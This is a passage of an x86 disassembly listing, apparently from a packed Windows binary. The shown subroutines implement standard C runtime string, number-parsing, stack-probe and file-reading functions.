		cmp	al, ah
		jnz	short loc_41BFC8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C023
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41BFF4
		jmp	short loc_41BFC8
; ---------------------------------------------------------------------------


loc_41C017:				; CODE XREF: sub_41BFB0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C656
; ---------------------------------------------------------------------------


loc_41C023:				; CODE XREF: sub_41BFB0+49j
					; sub_41BFB0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFB0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41BFB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C030	proc near		; CODE XREF: .nsp0:00403743p
					; .nsp0:00403774p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C06F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C07C
; ---------------------------------------------------------------------------


loc_41C06F:				; CODE XREF: sub_41C030+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41C07C:				; CODE XREF: sub_41C030+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C081	proc near		; CODE XREF: .nsp0:00403C9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B890
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C0BC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C0BC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C0B8
		push	2
		push	ebx
		push	esi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C0B8:				; CODE XREF: sub_41C081+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C0C6
; ---------------------------------------------------------------------------


loc_41C0BC:				; CODE XREF: sub_41C081+18j
					; sub_41C081+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C0C6
		and	byte ptr [eax],	0


loc_41C0C6:				; CODE XREF: sub_41C081+39j
					; sub_41C081+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C13E


loc_41C0D9:				; CODE XREF: sub_41C081+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4E2A61[edx], 4
		jz	short loc_41C0EA
		inc	eax
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0EA:				; CODE XREF: sub_41C081+64j
		cmp	cl, 2Fh
		jz	short loc_41C0FE
		cmp	cl, 5Ch
		jz	short loc_41C0FE
		cmp	cl, 2Eh
		jnz	short loc_41C104
		mov	[ebp+var_4], eax
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41C081+6Cj
					; sub_41C081+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C104:				; CODE XREF: sub_41C081+67j
					; sub_41C081+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C0D9
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C13E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C139
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C122
		mov	edi, esi


loc_41C122:				; CODE XREF: sub_41C081+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4200EE
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C139:				; CODE XREF: sub_41C081+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C148
; ---------------------------------------------------------------------------


loc_41C13E:				; CODE XREF: sub_41C081+56j
					; sub_41C081+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C148
		and	byte ptr [ecx],	0


loc_41C148:				; CODE XREF: sub_41C081+BBj
					; sub_41C081+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C19B
		cmp	edi, ebx
		jb	short loc_41C19B
		cmp	[ebp+arg_C], 0
		jz	short loc_41C178
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C161
		mov	edi, esi


loc_41C161:				; CODE XREF: sub_41C081+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4200EE
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C178:				; CODE XREF: sub_41C081+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C1C3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C188
		mov	esi, eax


loc_41C188:				; CODE XREF: sub_41C081+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C1C3
; ---------------------------------------------------------------------------


loc_41C19B:				; CODE XREF: sub_41C081+CCj
					; sub_41C081+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C1B9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C1AA
		mov	esi, eax


loc_41C1AA:				; CODE XREF: sub_41C081+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C1B9:				; CODE XREF: sub_41C081+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C1C3
		and	byte ptr [eax],	0


loc_41C1C3:				; CODE XREF: sub_41C081+FCj
					; sub_41C081+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C1D0	proc near		; CODE XREF: sub_401A09+8p
					; .nsp0:00401B7Cp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C1F0


loc_41C1DC:				; CODE XREF: sub_41C1D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C1DC


loc_41C1F0:				; CODE XREF: sub_41C1D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1FF	proc near		; CODE XREF: .nsp0:00408F88p
					; .nsp0:00408FB7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C213
		xor	eax, eax
		jmp	short loc_41C249
; ---------------------------------------------------------------------------


loc_41C213:				; CODE XREF: sub_41C1FF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C243
		mov	esi, [ebp+arg_8]


loc_41C21C:				; CODE XREF: sub_41C1FF+42j
		dec	dword ptr [esi+4]
		js	short loc_41C22B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C232
; ---------------------------------------------------------------------------


loc_41C22B:				; CODE XREF: sub_41C1FF+20j
		push	esi
		call	sub_41EEA8
		pop	ecx


loc_41C232:				; CODE XREF: sub_41C1FF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C24D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C243
		dec	[ebp+arg_4]
		jnz	short loc_41C21C


loc_41C243:				; CODE XREF: sub_41C1FF+18j
					; sub_41C1FF+3Dj ...
		and	byte ptr [edi],	0


loc_41C246:				; CODE XREF: sub_41C1FF+55j
		mov	eax, ebx
		pop	esi


loc_41C249:				; CODE XREF: sub_41C1FF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C24D:				; CODE XREF: sub_41C1FF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C243
		xor	ebx, ebx
		jmp	short loc_41C246
sub_41C1FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C256	proc near		; CODE XREF: sub_41C45E+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C26E:				; CODE XREF: sub_41C256+46j
		cmp	dword_44276C, 1
		jle	short loc_41C286
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C295
; ---------------------------------------------------------------------------


loc_41C286:				; CODE XREF: sub_41C256+1Fj
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C295:				; CODE XREF: sub_41C256+2Ej
		test	eax, eax
		jz	short loc_41C29E
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C26E
; ---------------------------------------------------------------------------


loc_41C29E:				; CODE XREF: sub_41C256+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C2AC
		or	[ebp+arg_C], 2
		jmp	short loc_41C2B1
; ---------------------------------------------------------------------------


loc_41C2AC:				; CODE XREF: sub_41C256+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C2B7


loc_41C2B1:				; CODE XREF: sub_41C256+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C2B7:				; CODE XREF: sub_41C256+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C44E
		cmp	eax, 1
		jz	loc_41C44E
		cmp	eax, 24h
		jg	loc_41C44E
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C2FF
		cmp	bl, 30h
		jz	short loc_41C2E9
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C31B
; ---------------------------------------------------------------------------


loc_41C2E9:				; CODE XREF: sub_41C256+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C2FC
		cmp	al, 58h
		jz	short loc_41C2FC
		mov	[ebp+arg_8], 8
		jmp	short loc_41C31B
; ---------------------------------------------------------------------------


loc_41C2FC:				; CODE XREF: sub_41C256+97j
					; sub_41C256+9Bj
		mov	[ebp+arg_8], ecx


loc_41C2FF:				; CODE XREF: sub_41C256+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C31B
		cmp	bl, 30h
		jnz	short loc_41C31B
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C313
		cmp	al, 58h
		jnz	short loc_41C31B


loc_41C313:				; CODE XREF: sub_41C256+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C31B:				; CODE XREF: sub_41C256+91j
					; sub_41C256+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C32B:				; CODE XREF: sub_41C256+16Cj
		cmp	dword_44276C, 1
		movzx	esi, bl
		jle	short loc_41C343
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C34E
; ---------------------------------------------------------------------------


loc_41C343:				; CODE XREF: sub_41C256+DFj
		mov	eax, off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C34E:				; CODE XREF: sub_41C256+EBj
		test	eax, eax
		jz	short loc_41C35A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C38C
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C256+FAj
		cmp	dword_44276C, 1
		jle	short loc_41C36E
		push	edi
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C379
; ---------------------------------------------------------------------------


loc_41C36E:				; CODE XREF: sub_41C256+10Bj
		mov	eax, off_442560
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C379:				; CODE XREF: sub_41C256+116j
		test	eax, eax
		jz	short loc_41C3C7
		movsx	eax, bl
		push	eax
		call	sub_420178
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C38C:				; CODE XREF: sub_41C256+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C3C7
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C3B1
		jnz	short loc_41C3AB
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C3B1


loc_41C3AB:				; CODE XREF: sub_41C256+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B1:				; CODE XREF: sub_41C256+145j
					; sub_41C256+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C3BA:				; CODE XREF: sub_41C256+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C32B
; ---------------------------------------------------------------------------


loc_41C3C7:				; CODE XREF: sub_41C256+125j
					; sub_41C256+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C3E5
		test	edx, edx
		jz	short loc_41C3DF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C3DF:				; CODE XREF: sub_41C256+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C432
; ---------------------------------------------------------------------------


loc_41C3E5:				; CODE XREF: sub_41C256+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C40B
		test	cl, 1
		jnz	short loc_41C432
		and	ecx, 2
		jz	short loc_41C402
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C40B


loc_41C402:				; CODE XREF: sub_41C256+1A1j
		test	ecx, ecx
		jnz	short loc_41C432
		cmp	[ebp+var_8], eax
		jbe	short loc_41C432


loc_41C40B:				; CODE XREF: sub_41C256+197j
					; sub_41C256+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4E14F8, 22h
		jz	short loc_41C421
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C432
; ---------------------------------------------------------------------------


loc_41C421:				; CODE XREF: sub_41C256+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C432:				; CODE XREF: sub_41C256+18Dj
					; sub_41C256+19Cj ...
		test	edx, edx
		jz	short loc_41C43B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C43B:				; CODE XREF: sub_41C256+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C449
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C449:				; CODE XREF: sub_41C256+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C459
; ---------------------------------------------------------------------------


loc_41C44E:				; CODE XREF: sub_41C256+66j
					; sub_41C256+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C457
		mov	[eax], edi


loc_41C457:				; CODE XREF: sub_41C256+1FDj
		xor	eax, eax


loc_41C459:				; CODE XREF: sub_41C256+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C256	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C45E	proc near		; CODE XREF: .nsp0:00407C28p
					; sub_40F168+4A0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C256
		add	esp, 10h
		retn
sub_41C45E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C475	proc near		; CODE XREF: .nsp0:004073E3p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0B40000h
		pop	ebp
		test	eax, eax
		jnz	short loc_41C48B
		call	dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_41C48D
; ---------------------------------------------------------------------------


loc_41C48B:				; CODE XREF: sub_41C475+Cj
		xor	eax, eax


loc_41C48D:				; CODE XREF: sub_41C475+14j
		test	eax, eax
		jz	short loc_41C49C
		push	eax
		call	sub_420244
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C49C:				; CODE XREF: sub_41C475+1Aj
		xor	eax, eax
		retn
sub_41C475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C49F	proc near		; CODE XREF: .nsp0:00407338p
					; .nsp0:004122A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4202AB
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F504
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420338
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C49F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E0	proc near		; CODE XREF: .nsp0:0040394Fp
					; .nsp0:0040396Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C501
		xor	eax, eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C501:				; CODE XREF: sub_41C4E0+1Bj
		mov	eax, edi


loc_41C503:				; CODE XREF: sub_41C4E0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C510	proc near		; CODE XREF: .nsp0:00402372p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C541
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C53F
		jz	short loc_41C541
		dec	ecx
		dec	ecx


loc_41C53F:				; CODE XREF: sub_41C510+29j
		not	ecx


loc_41C541:				; CODE XREF: sub_41C510+9j
					; sub_41C510+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C550	proc near		; CODE XREF: .nsp0:00401F49p
					; .nsp0:00404B17p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C5C1
sub_41C550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C560	proc near		; CODE XREF: .nsp0:00401F55p
					; .nsp0:00409016p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C57C


loc_41C56D:				; CODE XREF: sub_41C560+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C5AF
		test	ecx, 3
		jnz	short loc_41C56D


loc_41C57C:				; CODE XREF: sub_41C560+Bj
					; sub_41C560+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C57C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C5BE
		test	ah, ah
		jz	short loc_41C5B9
		test	eax, 0FF0000h
		jz	short loc_41C5B4
		test	eax, 0FF000000h
		jz	short loc_41C5AF
		jmp	short loc_41C57C
; ---------------------------------------------------------------------------


loc_41C5AF:				; CODE XREF: sub_41C560+12j
					; sub_41C560+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5B4:				; CODE XREF: sub_41C560+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5B9:				; CODE XREF: sub_41C560+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5BE:				; CODE XREF: sub_41C560+39j
		lea	edi, [ecx-4]


loc_41C5C1:				; CODE XREF: sub_41C550+5j
					; sub_41C560+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C5E6


loc_41C5CD:				; CODE XREF: sub_41C560+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C638
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C5CD
		jmp	short loc_41C5E6
; ---------------------------------------------------------------------------


loc_41C5E1:				; CODE XREF: sub_41C560+9Ej
					; sub_41C560+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C5E6:				; CODE XREF: sub_41C560+6Bj
					; sub_41C560+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C5E1
		test	dl, dl
		jz	short loc_41C638
		test	dh, dh
		jz	short loc_41C62F
		test	edx, 0FF0000h
		jz	short loc_41C622
		test	edx, 0FF000000h
		jz	short loc_41C61A
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C61A:				; CODE XREF: sub_41C560+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C622:				; CODE XREF: sub_41C560+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C62F:				; CODE XREF: sub_41C560+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C638:				; CODE XREF: sub_41C560+72j
					; sub_41C560+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C560	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C650


loc_41C640:				; CODE XREF: sub_41C650+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C650
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C650	proc near		; CODE XREF: .nsp0:00401F33p
					; .nsp0:00401FC9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C640 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C656:				; CODE XREF: sub_41BFB0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C67B


loc_41C668:				; CODE XREF: sub_41C650+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C640
		test	cl, cl
		jz	short loc_41C6C4
		test	edx, 3
		jnz	short loc_41C668


loc_41C67B:				; CODE XREF: sub_41C650+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C686:				; CODE XREF: sub_41C650+61j
					; sub_41C650+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C6C8
		and	eax, 81010100h
		jz	short loc_41C686
		and	eax, 1010100h
		jnz	short loc_41C6C2
		and	esi, 80000000h
		jnz	short loc_41C686


loc_41C6C2:				; CODE XREF: sub_41C650+68j
					; sub_41C650+81j ...
		pop	esi
		pop	edi


loc_41C6C4:				; CODE XREF: sub_41C650+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C6C8:				; CODE XREF: sub_41C650+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C705
		test	al, al
		jz	short loc_41C6C2
		cmp	ah, bl
		jz	short loc_41C6FE
		test	ah, ah
		jz	short loc_41C6C2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C6F7
		test	al, al
		jz	short loc_41C6C2
		cmp	ah, bl
		jz	short loc_41C6F0
		test	ah, ah
		jz	short loc_41C6C2
		jmp	short loc_41C686
; ---------------------------------------------------------------------------


loc_41C6F0:				; CODE XREF: sub_41C650+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6F7:				; CODE XREF: sub_41C650+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6FE:				; CODE XREF: sub_41C650+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C705:				; CODE XREF: sub_41C650+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: .nsp0:00401D2Fp
					; .nsp0:00401D7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C75C


loc_41C720:				; CODE XREF: sub_41C710+3Cj
					; sub_41C710+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+1]
		jnz	short loc_41C754
		or	ah, ah
		jz	short loc_41C750
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+3]
		jnz	short loc_41C754
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C720
		mov	edi, edi


loc_41C750:				; CODE XREF: sub_41C710+18j
					; sub_41C710+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C754:				; CODE XREF: sub_41C710+14j
					; sub_41C710+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C75C:				; CODE XREF: sub_41C710+Ej
		test	edx, 1
		jz	short loc_41C778
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C754
		inc	ecx
		or	al, al
